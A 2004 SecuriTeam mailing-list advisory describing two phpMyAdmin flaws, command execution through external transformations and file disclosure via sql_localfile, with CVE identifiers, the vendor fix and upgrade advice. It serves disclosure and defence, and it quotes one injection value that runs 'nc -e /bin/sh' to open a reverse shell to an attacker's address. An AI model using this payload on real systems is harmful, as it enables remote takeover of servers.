[UNIX] Multiple Vulnerabilities in phpMyAdmin (External Transformations)

From: SecuriTeam (support_at_securiteam.com)
Date: 12/22/04

  • Next message: SecuriTeam: "[UNIX] Cleartext SMB Passwords in Novell Desktop Linux using KDE" 
    To: list@securiteam.com
Date: 22 Dec 2004 14:06:14 +0200

    The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com
    - - promotion

    The SecuriTeam alerts list - Free, Accurate, Independent.

    Get your security news from a reliable source.
    http://www.securiteam.com/mailinglist.html

    - - - - - - - - -

      Multiple Vulnerabilities in phpMyAdmin (External Transformations)
    ------------------------------------------------------------------------

    SUMMARY

     <http://www.phpmyadmin.net/home_page/> phpMyAdmin is "a tool written in
    PHP intended to handle the administration of MySQL over the Web. Currently
    it can create and drop databases, create/drop/alter tables,
    delete/edit/add fields, execute any SQL statement, manage keys on fields,
    manage privileges, export data into various formats and is available in 47
    languages".

    Two vulnerabilities in phpMyAdmin have been discovered, these
    vulnerabilities allow command execution and disclosure of sensitive files.

    DETAILS

    Vulnerable Systems:
     * phpMyAdmin version 2.6.1 and prior

    Immune Systems:
     * phpMyAdmin version 2.6.1-rc1

    Technical details:
    Command execution:
     * Bug introduced in 2.6.0-pl2
     * Attacker does *not* need access to the phpMyAdmin interface
     * PHP safe mode must be off
     * External transformations must be activated
     * Sample of offensive value : F\';nc -e /bin/sh $IP 80;echo \'A

    File disclosure:
     * Attacker need access to the phpMyAdmin interface
     * PHP safe mode must be off
     * $cfg['UploadDir'] must be defined
     * Exploitation is done via 'sql_localfile'

    Vendor Response:
    After notification by Exaprobe, maintainers of the phpMyAdmin project have
    released version 2.6.1-rc1 that fixes these two vulnerabilities.

    Recommendation:
    Upgrade to 2.6.1-rc1 or newer. Deactivate uploads and transformations if
    possible.

    CVE Information:
     <http://www.cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2004-1147>
    CAN-2004-1147
     <http://www.cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2004-1148>
    CAN-2004-1148

    ADDITIONAL INFORMATION

    The information has been provided by <mailto:ngregoire@exaprobe.com>
    Nicolas Gregoire.
    The original article can be found at:
    <http://www.exaprobe.com/labs/advisories/esa-2004-1213.html>
    http://www.exaprobe.com/labs/advisories/esa-2004-1213.html

    ========================================

    This bulletin is sent to members of the SecuriTeam mailing list.
    To unsubscribe from the list, send mail with an empty subject line and body to: list-unsubscribe@securiteam.com
    In order to subscribe to the mailing list, simply forward this email to: list-subscribe@securiteam.com

    ====================
    ====================

    DISCLAIMER:
    The information in this bulletin is provided "AS IS" without warranty of any kind.
    In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.

  • Next message: SecuriTeam: "[UNIX] Cleartext SMB Passwords in Novell Desktop Linux using KDE"

    Relevant Pages

    • [UNIX] phpMyAdmin Variable Overwrite Vulnerability
      ... The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com ... phpMyAdmin Variable Overwrite Vulnerability ... vulnerability in PHP5 and a local file include vulnerability in PHP4. ...
      (Securiteam)
    • [UNIX] phpMyAdmin Multiple CSRF Vulnerabilities
      ... The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com ... phpMyAdmin Multiple CSRF Vulnerabilities ... Request Forgeries we discovered that there were multiple ways to bypass ... vulnerable to multiple attacks because before and during the 3 steps ...
      (Securiteam)
    • [UNIX] Sympa Mailing List System Cross Site Scripting
      ... The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com ... cross site scripting vulnerabilities. ... The creation list option is vulnerable to cross site-scripting attacks. ...
      (Securiteam)
    • [UNIX] phpMyAdmin convcharset Parameter Cross Site Scripting
      ... The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com ... phpMyAdmin contains a vulnerability that is caused due to improper ... This vulnerability can be exploited to execute arbitrary HTML and/or ...
      (Securiteam)
    • [NT] FutureSoft TFTP Server 2000 Buffer Overflow and Directory Traversal
      ... The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com ... Two vulnerabilities were identified in FutureSoft TFTP Server, ...
      (Securiteam)